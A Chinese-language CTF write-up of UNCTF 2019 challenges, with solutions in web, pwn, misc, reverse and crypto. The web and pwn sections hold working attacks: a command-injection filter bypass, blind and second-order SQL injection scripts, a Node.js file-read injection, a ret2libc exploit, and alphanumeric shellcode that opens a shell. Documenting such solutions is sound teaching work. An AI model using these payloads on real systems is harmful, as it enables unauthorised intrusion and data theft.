从上周三开始就一直在肝。。。然后就是一周过去了,之间还曾经到了第一(然后第二天直接掉到第六,我太难了),果然这就是菜吧。
(PS:才发现自己好多图都死了。。。会慢慢处理
WEB
bypass
Description
unctf_bypass
Analyze
进入网址读源码
<?php
highlight_file(__FILE__);
$a = $_GET['a'];
$b = $_GET['b'];
// try bypass it
if (preg_match("/\'|\"|,|;|\`|\\|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $a))
$a = "";
$a ='"' . $a . '"';
if (preg_match("/\'|\"|;|,|\`|\*|\\|\n|\t|\r|\xA0|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $b))
$b = "";
$b = '"' . $b . '"';
$cmd = "file $a $b";
str_replace(" ","","$cmd");
system($cmd);
?>
然后大概意思就是a,b读取到正则那一大堆的东西中一个时,将a输入到“和”之间,b同理,之后再执行file $a $b的命令。这里想到了闭合标签绕过再换行执行命令,所以构造payload:?a=\&b= %0afi\nd /var/ fl\ag%0a
,其实上面判断的只有file "\"" "
闭合file,system真正执行的时fi\nd /var/ fl\ag
的命令,然后在linux中,'\'
分割开的命令仍然可以运行,所以页面返回了
一大堆地址,但是其中发现了/var/www/html/.F1jh_/h3R3_1S_your_F1A9.txt
这一个地址,打开后得到flag
Solve
http://101.71.29.5:10054/.F1jh_/h3R3_1S_your_F1A9.txt
flag
unctf{86dfe85d7c5842c5c04adae104193ee1}
NSB Reset Password
Description
我们遇到什么glzjin,都不要怕,微笑着面对他,消除glzjin的最好办法就是化身glzjin,坚持,才是胜利,加油,奥力给!!!!!!
Analyze
赵总征婚二度,这题。。真的想了好久一段时间,先是爆破了好久2333。然后就开始各种骚操作乱做。最后莫名奇妙就出来了一次,复现又盘了好久。。。总之,这题就只有一个session,他的重置密码过程是在一条线上的,所以当你已经通过自己邮箱重置自己密码时的最后写密码的时候,再用bp发一个admin重置密码的请求包,你重置的"自己"的密码也就变成了重置admin的密码,登录即可得到flag。
Solve
如上所述
flag
flag{175f3098f80735ddfdfbd4588f6b1082}
easy_admin
Description
easy_admin
Analyze
开始以为又是个二次注入
试了一下后发现。。。并不对,但是当你在forgetpassword里输入admin ' or '1 = 1'
时,页面会返回一个hacker
,所以猜测时盲注,使用之前的脚本注入,得到前半段flagflag{never_too
,然后这也是admin的密码,登录上去后看见
易得admin都是本地登录的,使用在头加上Referer:127.0.0.1
,使其本地登录,得到后半段flag_late_to_x}
Solve
# blind SQL
import requests
url = 'http://101.71.29.5:10045/index.php?file=forget'
flag = ''
proxies={
"http":"http://127.0.0.1:8080/"
}
for i in range(0,40):
for x in range(ord('0'),ord('}')):
payload = "-1'or ascii(substr((password),%d,1))=%d#"%(i,x)
data = {'username':payload}
res = requests.post(url,data=data,proxies=proxies)
# print(res.content)
if 'no'in res.text:
pass
else:
flag += chr(x)
print(flag)
break
flag
flag{never_too_late_to_x}
帮赵总征婚
Description
华北最大安全集团NSB老总glzjin最近终于找到了girlfriend,但他现在想要six wife了,你能帮他登录一下这个NSB征婚网站吗?
Analyze
这题一打开F12源码中就有个<!-- I like rockyou! -->
的注释,然后知道kali中有个弱密码字典就是rockyou,所以爆破,然后。。。就言简意赅的bp快乐爆破时间
Solve
flag
flag{57fc636a42f46c7658110a631256f5cb}
简单的备忘录
Description
Do not forget.
Analyze
这题。。。真实运气,终端补全写得太好了,于是把命令试了一遍。。。就解出来了(PS:后面好像就不行了,emmm算是非预期了吧233
Solve
flag
flag{3ad4aaedf408c147d5f747f7ce76d2b4}
checkin
Description
checkin
Analyze
怀疑人生的签到题。。。但是聊天室没有禁语屏蔽。。所以看到有大佬说时nodejs注入,然后便去看资料现学2333(不然可能现在都没出来)然后读js发现了
于是猜测是利用/calc
的这个case,于是利用主进程的'fs'的读写功能进行命令注入,构建payload/calc process.mainModule.require('fs').readFileSync('/flag','utf-8');
执行后得到flag
Solve
flag
flag{0e4d1980ef6f8a81428f83e8e1c6e22b}
twice injection
Description
已经忘记了题名=。=
Analyze
开始一个sqli的题目,以为只要登录admin登录上去就可以万事大吉,然后。。。就没有然后了,上去后并没有任何作用。。然后换了姿势开始盲注。爆破一段时间后得到flag。
Solve
import requests
url1 = "http://101.71.29.5:10002/login_create.php" # 注册
# username password re_password submit=Register
url2 = "http://101.71.29.5:10002/login.php" # 登录
# login_user login_password mysubmit=Login
url3 = "http://101.71.29.5:10002/pass_change.php" # 密码重置
# current_password password re_password submit=Reset
sess = requests.session()
num = 1
content = ''
for i in range(1,100):
for j in range(32,127):
res1 = sess.post(url=url1,data={"username":"a' && ascii(substr((select b.1 from (select 1 union select* from fl4g)b limit 1,1),%d,1))=%d#" % (i,j)
,"password":"a","re_password":"a","submit":"Register"})
res2 = sess.post(url=url2,data={"login_user":"a' && ascii(substr((select b.1 from (select 1 union select* from fl4g)b limit 1,1),%d,1))=%d#" % (i,j)
,"login_password":"a","mysubmit":"Login"})
res3 = sess.post(url=url3,data={"current_password":"%d" % num,"password":"%d" % num,"re_password":"%d" % num,"submit":"Reset"})
if res3.text.find("successfully") != -1:
content = content + chr(j)
print(content)
num = num + 1
flag
UNCTF{585ae8df50433972bb6ebd76e3ebd9f4}
PWN
babyrop
Description
babyrop
Analyze
巨婴题,checksec后发现是
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
于是。。。。wiki在线脚本,首先IDA分析程序,并没有System函数,所以猜测ret2libc,第一个绕过
使v2为'ffff',所以buf为'a'*0x30+4*'f'
,然后继续进入函数
发现对result的地址有限制,使用gadget绕过,最后是脚本一把梭。
Solve
#!/usr/bin/env python
# coding=utf-8
from pwn import *
import sys
import LibcSearcher
local = 0
attach = 0
if local:
p = process("./1910255db2c8f9717e5")
context.log_level='debug'
if attach == 1:
gdb.attach(p,'b *0x0804854B\nc')
else:
p = remote("101.71.29.5",10041)
p.recvuntil('Hello CTFer!')
p.sendline('A'*0x20+'f'*4)
elf = ELF('./1910255db2c8f9717e5')
puts_plt = elf.plt['puts']
lsmg = elf.got['__libc_start_main']
main = 0x0804853D
trush = 0x0804839e
payload = 'A'*(0x10+4)+p32(trush)+p32(puts_plt)+p32(main)+p32(lsmg)
p.recvuntil('?\n')
p.sendline(payload)
a = p.recv(4)
__libc_start_main = u32(a)
libc = LibcSearcher.LibcSearcher('__libc_start_main',__libc_start_main)
libcbase = __libc_start_main - libc.dump('__libc_start_main')
system_addr = libcbase+libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')
p.recvuntil('?\n')
payload = 'A'*(0x10+4)+p32(trush)+p32(system_addr)+p32(0xdeadbeef)+p32(binsh_addr)
p.sendline(payload)
p.interactive()
flag
UNCTF{7ef293810e29039f061982e72fd10bfb}
EasyShellcode
Description
unctf_EasyShellcode
Analyze
打开IDA分析
可以看出最后的shellcode是在a-zA-Z0-9
的范围内,然后搜到了V爷爷(veritas501)的github内有转换的脚本,然后就直接用了233(ps:我好菜啊)
Solve
#!/usr/bin/env python
# coding=utf-8
from pwn import *
import ae64
p = remote('101.71.29.5',10080)
p.recvuntil('o say?')
sc = asm(shellcraft.sh())
obj = ae64.AE64()
sc = obj.encode(sc)
#WTYH39Yj0TYfi9XVWAXfi94WWAYjZTYfi9TVWAZjdTYfi9BgWZjWTYfi9WU0T8A0t8B0t8F0t8G0t8H0T8LRAPZ0T8MZ0t8Q0t8R0T8S0t8U0t8V0t8W0t8X0t8YjmTYfi9wFRAPZ0T8AZRAPZ0t8DZRAPZ0t8EZ0t8GRAPZ0T8HZ0T8KRAPZ0T8LZRAPZ0T8NZ0t8P0t8R0t8SjhHpzbinzzzsPHAghriTTI4qTTTT1vVj8nHTfVHAf1RjnXZP
p.sendline(sc)
p.interactive()
flag
UNCTF{x64_A5c11_shE11c0dE_i5_50_Ea5y}
Soso_easy_pwn
Description
Just_case.答案提交flag{}括号内的值。如果靶机不能正常访问,请将端口号改为10009
Analyze
这题一开始checksec进去就看见
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
emmm差点就没做下去,然后丢IDA里,然后就看见了PIE的特点以及可以利用的一个函数
然后看到main函数里有给前面的地址
所以每次连接都会有前四位地址的爆出
所以最后我们可以溢出新建一个case来得到shell
Solve
#!/usr/bin/env python
# coding=utf-8
from pwn import *
import re
p = remote('101.71.29.5',10000)
a = int(re.findall("\d+",p.recvline())[0])
p.recvline()
b = 0x9CD
addr = (a<<16)+b+(0<<12)
p.send('a'*12+p32(addr))
p.readuntil('byebye):')
p.sendline('3')
p.interactive()
flag
UNCTF{S0_so_E4zy_Pwn}
MISC
快乐游戏题
Description
快乐游戏题
Analyze
玩游戏就完事了
Solve
flag
UNCTF{c783910550de39816d1de0f103b0ae32}
Hidden secret
Description
unctf_Hidden secret 题目下载链接更新为: 链接:https://pan.baidu.com/s/125zN2324w-lV8ASXfa5zYw 提取码:psp2 hint:no NTFS,easier
Analyze
开头得到三个文件,但是看到文件头03 04
、01 02
、05 06
,就知道是去掉了504B的zip文件,加上后拼接得到zip,解压得到一张图。
起始一开始是NTFS隐写,但是emmm题目出错了,后面就简单的加了个zip文件,解压后得到一个txt
K<jslc7b5'gBA&]_5MF!h5+E.@IQ&A%EExEzp\\X#9YhiSHV#
然后各种编码猜测,最后锁在了base64+的编码里,然后因为@和]两个字符确定是base92的编码,然后python里解密一把梭得到flag
Solve
import base92
print(base92.decode("K<jslc7b5'gBA&]_5MF!h5+E.@IQ&A%EExEzp\\X#9YhiSHV#"))
flag
unctf{cca1a567c3145b1801a4f3273342c622}
EasyBox
Description
unctf_EasyBox
Analyze
nc上去后是数独题,根据题目来解题,算法是参考的网上 https://blog.csdn.net/zonnin/article/details/78813698 ,但是里面有
Solve
from pwn import *
p = remote('101.71.29.5',10011)
d = p.recvuntil('row ').decode().split('\n')[-20:-1]
da = []
#将数独转化成列表形式
for i in range(int(len(d)/2)):
da.append(d[2*i+1])
for i in range(len(da)):
da[i]=da[i].split('|')
for i in range(len(da)):
del da[i][0]
del da[i][-1]
for j in range(len(da[i])):
if da[i][j]==' ':
da[i][j] = '0'
for x in range(len(da)):
for y in range(len(da[x])):
da[x][y] = int(da[x][y])
# print(da[x][y],end=' ')
# print()
def not_done(s):#是否结束
return True in [0 in r for r in s]
def get_row(s,r):#获得行数据
return s[r]
def get_column(s,c):#获得列数据
return [r[c]for r in s]
def possible(s,r,c):#是否可行
return [i for i in range(1,10)\
if i not in get_row(s,r)
and i not in get_column(s,c)]
def go_around(s):#解数独
ans = []
for index_r,r in enumerate(s):
row = []
for indew_c,c in enumerate(r):
if c == 0:
maybe_ans = possible(s,index_r,indew_c)
row.append(maybe_ans[0] if len(maybe_ans) == 1\
else 0)
else:
row.append(c)
ans.append(row)
return ans
def print_sudoku(s, msg='1'):#打印数独
print(msg)
for r in s:
print(" ".join([str(c) for c in r]))
print("*"*18)
n_da = da
while not_done(n_da):
n_da = go_around(n_da)
print_sudoku(n_da)
sendl = ''
# print(da)
# print(n_da)
for x in range(len(da)):#将0的部分发送
for y in range(len(da[x])):
if da[x][y] == 0:
sendl+=str(n_da[x][y])+','
p.recvuntil('answer :')
p.sendline(sendl[:-1])
sendl = ''
p.interactive()
flag
flag{b613e841e0822e2925376d5373cbfbc4}
Happy_puzzle
Description
Happy_puzzle 签到人的又一力作 hint1: png吧 hint2:data不是图片,要拼图 hint3:idat数据块
Analyze
根据hint得知是idat的数据块,于是写脚本拼接完整的png图片,一层一层的idat爆破出来(半自动脚本。。。
Solve
import os
head= bytearray.fromhex('89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52 00 00 01 90 00 00 01 90 08 02 00 00 00 00 00 00 00'.replace(' ',''))
idata = bytearray.fromhex('00 00 28 00 49 44 41 54'.replace(' ',''))
crc = bytearray.fromhex('00000000')
end = bytearray.fromhex('00 00 00 00 49 45 4E 44 AE 42 60 82'.replace(' ',''))
dir = r'f\puzzle'
data_name = os.listdir(dir)
w1 = open(r'f\puzzle\res\11.png','rb')
data1 = w1.read()
w1.close()
for i in range(len(dir)):
path = os.path.join(dir, data_name[i])
if path[-5:]=='.data':
a = open(path,'rb')
da = a.read()
a.close()
data = data1+idata+da+crc
b = open('res\\'+str(i)+'.png','wb')
b.write(data)
b.close()
flag
unctf{312bbd92c1v291e1827ba519326b6688}
信号不好我先挂了
Description
信号不好我先挂了。 Flag交不上,多换几种格式。
Analyze
开局一张图
然后丢进Stegsolve分析,发现
易得是一个LSB隐写,继续解密后得到一个zip,解压后得到另一个图片
把这个也丢进stegsolve中分析,得到
有一些条纹,然后又有两张图,易得是盲水印隐写,最后得到flag
Solve
flag
unctf{9d0649505b702643}
Think
Description
Think
Analyze
打开一个网页,看到
看到里面有个checknum,想着改成1会怎么样,然后。。。就得到flag了
Solve
#!/usr/bin/env python
# coding=utf-8
print """
____ ___ _ ___ _ _ _ _ ____ _____ _____
|___ \ / _ \/ |/ _ \ | | | | \ | |/ ___|_ _| ___|
__) | | | | | (_) | | | | | \| | | | | | |_
/ __/| |_| | |\__, | | |_| | |\ | |___ | | | _|
|_____|\___/|_| /_/ \___/|_| \_|\____| |_| |_|
"""
(lambda __y, __operator, __g, __print: [[[[(__print("It's a simple question. Take it easy. Don't think too much about it."), [(check(1), None)[1] for __g['checknum'] in [(0)]][0])[1] for __g['check'], check.__name__ in [(lambda checknum: (lambda __l: [(lambda __after: (__print('Congratulation!'), (__print(decrypt(key, encrypted)), __after())[1])[1] if __l['checknum'] else (__print('Wrong!'), __after())[1])(lambda: None) for __l['checknum'] in [(checknum)]][0])({}), 'check')]][0] for __g['decrypt'], decrypt.__name__ in [(lambda key, encrypted: (lambda __l: [[(lambda __after, __sentinel, __items: __y(lambda __this: lambda: (lambda __i: [[__this() for __l['c'] in [(__operator.iadd(__l['c'], chr((ord(__l['key'][(__l['i'] % len(__l['key']))]) ^ ord(__l['encrypted'][__l['i']].decode('base64').decode('hex'))))))]][0] for __l['i'] in [(__i)]][0] if __i is not __sentinel else __after())(next(__items, __sentinel)))())(lambda: __l['c'], [], iter(range(len(__l['encrypted'])))) for __l['c'] in [('')]][0] for __l['key'], __l['encrypted'] in [(key, encrypted)]][0])({}), 'decrypt')]][0] for __g['encrypted'] in [(['MTM=', 'MDI=', 'MDI=', 'MTM=', 'MWQ=', 'NDY=', 'NWE=', 'MDI=', 'NGQ=', 'NTI=', 'NGQ=', 'NTg=', 'NWI=', 'MTU=', 'NWU=', 'MTQ=', 'MGE=', 'NWE=', 'MTI=', 'MDA=', 'NGQ=', 'NWM=', 'MDE=', 'MTU=', 'MDc=', 'MTE=', 'MGM=', 'NTA=', 'NDY=', 'NTA=', 'MTY=', 'NWI=', 'NTI=', 'NDc=', 'MDI=', 'NDE=', 'NWU=', 'MWU='])]][0] for __g['key'] in [('unctf')]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), __import__('operator', level=0), globals(), __import__('__builtin__', level=0).__dict__['print'])
flag
flag{34a94868a8ad9ff82baadb326c513d40}
亲爱的
Description
宁就是HSY? 答案提交UNCTF{flag}。
Analyze
开局一个mp3,丢到HxD中看,后面有个zip的,foremost后得到一个加密的zip,然后看见文件最后的qqqmusic于是去QQ音乐找了下原曲,发现评论中
于是解压,然后图片里又有一个zip(其实应该是word),然后在里面找到了flag的图片
Solve
flag
UNCTF{W3_L0v3_Unctf}
无限迷宫
Description
啊哈,来走迷宫试试看啊,很简单的,哈哈哈哈哈哈。 Hint1:图片大小 Hint2:上下左右,1234 Hint3:密码高达几百位,请勿爆破 Hint4:128层,停止手工尝试 Hint5:题目没有其他解法,和你心里想的其实是一样的 Hint6:重申停止手工尝试,迷宫不是给人走的 答案提交flag{}括号内的值。
Analyze
是人出的题?(出题人出来挨打),意思很明白,脚本解迷宫再解压,其他都在脚本备注里
Solve
from PIL import Image
import numpy as np
import sys
import os
sys.setrecursionlimit(999999)# 递归层数
step = []
def useful(maze, x, y):# 判断是否为有效的区域内
if x >= 0 and x < len(maze) and y >= 0 and y < len(maze[0]) and maze[x][y] == True:
return True
else:
return False
def walk(mg, x, y, ex, ey):# 网上找的迷宫递归代码=。=
global step
if x == ex and y == ey:
step.append((x, y))
solve(step)
if useful(mg, x, y):
step.append((x, y))
mg[x][y] = 2
walk(mg, x, y + 1, ex, ey)
walk(mg, x, y - 1, ex, ey)
walk(mg, x - 1, y, ex, ey)
walk(mg, x + 1, y, ex, ey)
def solve(step):#也是网上的=。=,后面加了点东西
change_records = []
for i in range(len(step) - 1):
if (abs(step[i][0] - step[i + 1][0]) == 0 & abs(step[i][1] - step[i + 1][1]) == 1) or (abs(step[i][0] - step[i + 1][0]) == 1 & abs(step[i][1] - step[i + 1][1]) == 0):
pass
else:
change_records.append(i + 1)
clip_nums = []
for i in change_records:
for j in range(i):
if (abs(step[j][0] - step[i][0]) == 0 & abs(step[j][1] - step[i][1]) == 1) or (abs(step[j][0] - step[i][0]) == 1 & abs(step[j][1] - step[i][1]) == 0):
break
clip_nums.append((j, i))
rc = []# 将行走路径计入rc中,并得到step的解密路径
for i in clip_nums[::-1]:
if not ((i[0] in rc) | (i[1] in rc)):
step = step[:i[0] + 1] + step[i[1]:]
rc += list(range(i[0], i[1]))
tmp = step[0]#将解密路径转化成1234的密码(出题人的恶意)
res = ''
for i in range(1,len(step)):
if (tmp[0] > step[i][0]) & (tmp[1] == step[i][1]):
res += '1'
elif(tmp[0] < step[i][0])&(tmp[1] < step[i][1]):
res += '2'
elif(tmp[0] == step[i][0])&(tmp[1] > step[i][1]):
res += '3'
else:
res += '4'
tmp = step[i]
out = ''# 因为矩阵转化会多出来一位数,所以我们只取奇数位(偶数也行)
for i in range(int(len(res)/2)):
out+=res[2*i+1]
print('Over!!!!')
print(out)
files = os.listdir('.')#系统解压zip,网上找了个改了一下(我好水啊)
for filename in files:
file = os.path.splitext(filename)
if file[1] == '.jpg':
newname = file[0] + '.zip'
os.rename(filename, newname)
cmd = 'unzip -P ' + out + ' flag.zip'
os.system(cmd)
# 图形矩阵化
def black(c): #黑色边框判断
if c[0] <= 25 and c[1] <= 25 and c[2] <= 25:
return True
else:
return False
def start(c, y, x): #起点判断
for i in range(8):
for j in range(8):
if (abs(c[y+i-3][x+j-3][0] - 196) <= 25) and (abs(c[y+i-3][x+j-3][1] - 46) <= 25) and (abs(c[y+i-3][x+j-3][2] - 35) <= 25):
return True
return False
def end(c, y, x): #终点判断
for i in range(6):
for j in range(6):
if (abs(c[y+i-3][x+j-3][0] - 255) <= 25) and (abs(c[y+i-3][x+j-3][1] - 210) <= 25) and (abs(c[y+i-3][x+j-3][2] - 81) <= 25):
return True
return False
def block_size(imgz, size): #像素大小
ans = 0
for i in range(5, size[0]):
if black(imgz[i][i]):
ans = i
break
block = size[0] // ans
return block
def maze(img,size):# 图像矩阵化
maze = []
block = block_size(img, size)
truely = size[0] // block
x1 = (size[0] // truely) * 2
y1 = (size[1] // truely) * 2
start_y = 0
end_y = 0
start_x = 0
end_x = 0
for y2 in range(y1):
line = []
y = int(y2 * (truely / 2))
for x2 in range(x1):
x = int(x2 * (truely / 2))
if black(img[y][x]):
line.append(0)
else:
line.append(1)
if start(img, y, x):
start_y = y2
start_x = x2
if end(img, y, x):
end_y = y2
end_x = x2
if y2 % 2 == 0:
end_y -= 1
maze.append(line)
walk(maze, start_y, start_x, end_y, end_x)
if __name__ == '__main__': # 主函数
img = np.array(Image.open('flag.jpg').convert('RGBA'))
maze(img, (len(img[0]), len(img)))
最后再加个死循环脚本让他自己动,解压到最后就是flag.txt
#!/bin/bash
while true
do
python maze.py
done
flag
flag{af810046166d7b8a9c87227fcf341290}
REVERSE
奇怪的数组
Description
unctf_奇怪的数组
Analyze
直接丢IDA
发现其实就是判断输入是不是0-9a-f
这里面的值,然后在和checkbox栈里的值比较
Solve
然后其实里面的值就是flag=。=
s1 = 'flag{'
s = 'ad461e203c7975b35e527960cbfeb06c}'
flag = s1+s
print(flag)
flag
flag{ad461e203c7975b35e527960cbfeb06c}
unctf_easy_Maze
Description
unctf_easy_Maze
Analyze
复杂的IDA使我选择动调,在step1后加断点,然后查看RDX的内存,得到迷宫
之后直接走迷宫
1001111
1011001
1110111
0001100
1111000
1000111
1111101
Solve
然后可以通过程序验证flag,只有两个解,一个是ssddwdwdddssaasasaaassddddwdds
,一个是waasaaaawwdddwdwddwwaaasasaaww
,最后得到flag
flag
UNCTF{ssddwdwdddssaasasaaassddddwdds}
666
Description
答案提交flag{}括号内的值。
Analyze
丢进IDA,分析得到他的encode函数,然后解密即可
Solve
'''
a2 + i = (a1[i] + 6) ^ key
a2 + i + 1 = (a1[i + 1] - 6) ^ key
a2 + i + 2 = a1[i + 2] ^ 6 ^ key
'''
enflag = '''izwhroz""w"v.K".Ni'''
flag = ''
for i in range(6):
flag += chr((ord(enflag[3*i])^18)-6)
flag += chr((ord(enflag[3*i+1])^18)+6)
flag += chr((ord(enflag[3*i+2])^18)^6)
print(flag)
flag
unctf{b66_6b6_66b}
BabyXor
Description
答案提交flag{}括号内的值。
Analyze
文件加了壳,随便找了个去壳机去了壳硬IDA分析,然后得到大概是三段加密,所以变成三段解密
v1 =i^s1[i]
v2 = s1[i]^s2[i]^s1[i-1]
v3 = s3[i+1]^ord(v2[i])^i
然后读取栈中的数据解密
Solve
s1 = [0x66,0x6D,0x63,0x64,0x7F,0x37,0x35,0x30,0x30,0x6B,0x3A,0x3C,0x3B,0x20]
'''
v1 =i^s1[i]
'''
s2 = [0x37,0x6F,0x38,0x62,0x36,0x7C,0x37,0x33,0x34,0x76,0x33,0x62,0x64,0x7a]
'''
v2 = s1[i]^s2[i]^s1[i-1]
'''
s3 = [0x1a,0x0,0x0,0x51,0x5,0x11,0x54,0x56,0x55,0x59,0x1D,0x9,0x5D,0x12]
'''
v3 = s3[i+1]^ord(v2[i])^i
'''
flag1 = ''
flag2 = ''
flag3 = ''
for i in range(len(s1)):
f = chr(s1[i]^i)
flag1 += f
print(flag1)
for i in range(len(s2)):
if i ==0:
f = chr(s1[i]^s2[i]^s1[0])
else:
f = chr(s1[i]^s2[i]^s1[i-1])
flag2 += f
print(flag2)
for i in range(len(s3)-1):
f = chr(s3[i+1]^ord(flag2[i])^i)
flag3 += f
print(flag3)
flag = ''
flag = flag1+flag2+flag3
print(flag)
flag
flag{2378b077-qd6e-4564-bdca-7eec8eede9a2}
CRYPTO
AES和ECC基础
Description
post flag到http://132.232.125.125
Analyze
开始得了个AES和ECC.sage,但是AES就是简单解密,却少条件,条件在ECC中,然后ECC已知条件挺多的,把k爆破出来以后就可以得到aes_key,最后AES解密即可
Solve
# ECC
import sage
E=EllipticCurve(GF(15424654874903),[16546484,4548674875])
G=E(6478678675, 5636379357093)
K=E(2854873820564,9226233541419)
X=G
for i in rane(1,n):
if X == K:
k = i
print "[+]k:",i
break
else:
X = X+G
print i
#k=2019813
c1 = E([6860981508506,1381088636252])
c2 = E([1935961385155,8353060610242])
m = c1 - (c2 * k)
aes_key = m[0]
#aes_key=1026
# AES
from Crtpyo.Cipher import AES
import base64
key = bytes('1026'.ljust(16,' '))
aes = AES.new(key,AES.MODE_ECB)
enc = '/cM8Nx+iAidmt6RiqX8Vww=='
text = aes.decrypt(text)
#text = this_is_a_flag
flag
401E48C9A96DC219C32AB5E75204B655
不仅仅是RSA
Description
It's not only RSA. 答案提交flag{}括号内的值。
Analyze
恶魔出题人两分钟的莫斯密码(出来挨打!!!),然后得到c1,c2,其他均可用openssl或计算获得
Solve
#!/usr/bin/env python
# coding=utf-8
import gmpy2
from gmpy2 import mpz
def gcd(a,b):
if b!=0:
return gcd(b,a%b)
else:
return a
c1=mpz(4314251881242803343641258350847424240197348270934376293792054938860756265727535163218661012756264314717591117355736219880127534927494986120542485721347351)
c2=mpz(485162209351525800948941613977942416744737316759516157292410960531475083863663017229882430859161458909478412418639172249660818299099618143918080867132349)
n11 = 'C461B3ED566F2D68583019170BDD5263D113BAECE3DEE6631F08A166376AC41FF5D4E90B3330E0FC26993E3B353F38F9B6B880DFBC5807636497561B7611047B'
n1 = mpz(int(n11,16))
n22 = 'A36E3A2A83FE2C1E33F285A08C3ECD36E377F4D9FFE828E2426D3ECED0A7F947631E932AEC327555511AC6D71E72686C1CB7DBBF3859A4D9A3D344FBF12A9553'
n2 = mpz(int(n22,16))
q = gcd(n1,n2)
p1 = n1/q
p2 = n2/q
e = mpz(41221)
ni1 = (p1-1)*(q-1)
ni2 = (p2-1)*(q-1)
d1 = gmpy2.invert(e,ni1)
d2 = gmpy2.invert(e,ni2)
m1 = pow(c1,d1,n1)
m2 = pow(c2,d2,n2)
print(m1,m2)
m11 = hex(int(m1)).replace('0x','').replace('L','')
m22 = hex(int(m2)).replace('0x','').replace('L','')
print(bytearray.fromhex(m11)+bytearray.fromhex(m22))
flag
UNCTF{ac01dff95336aa470e3b55d3fe43e9f6}
一句话加密
Description
Easy_Crypto 答案提交flag{}括号内的值。
Analyze
找到图片最后的n,发现n和Jarvis OJ Hard RSA的一模一样。。。然后之前有存那个的Rabin攻击脚本,就直接一把梭了
Solve
#!/usr/bin/env python
# coding=utf-8
import gmpy
def n2s(num):
t = hex(num)[2:]
if len(t) % 2 == 1:
return ('0'+t).decode('hex')
return t.decode('hex')
def solve(c):
p = 275127860351348928173285174381581152299
q = 319576316814478949870590164193048041239
n = p*q
r = pow(c,(p+1)/4,p)
s = pow(c,(q+1)/4,q)
a = gmpy.invert(p,q)
b = gmpy.invert(q,p)
x =(a*p*s+b*q*r)%n
y =(a*p*s-b*q*r)%n
print n2s(x%n)
print n2s((-x)%n)
print n2s(y%n)
print n2s((-y)%n)
c1 = 62501276588435548378091741866858001847904773180843384150570636252430662080263
c2 = 72510845991687063707663748783701000040760576923237697638580153046559809128516
solve(c1)
solve(c2)
flag
unctf{412a1ed6d21e55191ee5131f266f5178}
最后说一句,这次题目质量还行,做得很爽(肝了一周。。。),但是里面有些题还是比较偏向脑洞和开发23333,希望比赛以后越办越好吧
info 评论功能已经关闭了呐!